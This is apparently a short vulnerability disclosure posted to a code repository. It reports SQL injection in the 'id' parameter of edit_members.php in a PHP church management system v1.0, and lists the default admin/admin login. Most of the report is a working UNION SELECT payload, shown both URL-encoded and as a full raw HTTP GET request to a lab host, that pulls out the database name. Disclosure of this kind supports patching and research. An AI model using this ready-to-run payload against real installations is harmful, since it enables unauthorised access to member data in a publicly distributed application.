zhangzhaoyuela Create SQLi-1.md History

1 contributor

31 lines (21 sloc) | 1.12 KB

Church Management System v1.0 by Godfrey De Blessed has SQL injection

BUG_Author: ZhangZhaoyue

Login account: admin/admin (Super Admin account)

vendors: https://www.sourcecodester.com/php/11206/church-management-system.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /cman/admin/edit_members.php?id=

Vulnerability location: /cman/admin/edit_members.php?id=, id

dbname = cman

[+] Payload: /cman/admin/edit_members.php?id=-0725873436%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15--+ //
Leak place ---> id

```
GET /cman/admin/edit_members.php?id=-0725873436%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=fjhrjdpuej6edqv5haoadpj3lc
Connection: close
```